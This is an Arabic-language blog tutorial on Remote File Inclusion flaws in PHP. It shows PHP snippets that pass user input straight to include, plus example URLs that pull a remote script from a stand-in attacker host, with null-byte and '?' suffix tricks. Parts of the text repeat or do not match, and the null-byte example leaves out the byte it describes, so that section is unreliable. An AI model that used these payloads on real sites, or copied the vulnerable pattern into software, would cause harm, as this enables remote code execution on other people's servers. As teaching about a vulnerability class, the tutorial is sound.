A Study in PHP Vulnerabilities - RFI
بسم الله الرحمن الرحيم
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اليوم باذن الله معنا موضوع عن اكتشاف الثغرات في ملفات PHP
اول نوع من الثغرات معنا
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اليوم باذن الله معنا موضوع عن اكتشاف الثغرات في ملفات PHP
اول نوع من الثغرات معنا
Remote File Inclusion
من اهم الدوال المسؤولة عن النوع هذا من الثغرات في PHP
1.
require - require is identical to include
except upon failure it will also produce a fatal E_COMPILE_ERROR
level error/2.
require_once -
require_once statement is identical to
require except PHP will check if the file has
already been included, and if so, not include (require) it again.
3.
inlcude-
includes and evaluates
the specified file.
4.
include_once
-
The include_once statement includes and evaluates
the specified file during the execution of the script.الان بعد ماعرفنا الدوال المسؤولة عن ثغرات RFI نجي ناخذ امثلة بسيطة عليها .
<?php
$0w4y=$_GET['0w4y'];
include $0w4y;
?>
لو نلاحظ المتغير 0w4y$ ماهو مسند له قيمة معرفة وبالامكان ادخال اللي نبي
مثلا لو ادخلنا
http://127.0.0.1/test.php?0w4y=http://evilsite.com/evilscript.txt
راح يسوي انكلود للملف evilscript.txt
# The "#"
فايدة 00% هي تنهي مابعدها نشوف كيف
<?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
الاستغلال السابق ماراح ينفع لان الكود راح يجرب يسوي انكلود بالصورة التاليه
evilscript.txt.php
فنضيف 00% او مايمسى بـ nullbyte عشان يقفل الطلب بالصورة التالية
http://127.0.0.1/test.php?0w4y=http://evilsite.com/evilscript.txt
# The "?"
نشوف وش فايدة ?
<?php
$0w4y=$_GET['0w4y'];
include $0w4y.'logged=1';
?>
الان logged راح ياتي في الرابط على شكل متغير وهنا تاتي فايدة ? ليكون الاستغلال
http://127.0.0.1/test.php?0w4y=http://evilsite.com/evilscript.txt?logged=1
طريقة الاصلاح ..
استخدام الفلترة وتنقيح المدخلات
الى هنا ينتهي الدرس والقاكم باذن الله في دروس قادمة
اذا اعجبتك فاذكر الله وادع لي واذا لم اعجبك فانتقدني لاصبح افضل
تعليقات
إرسال تعليق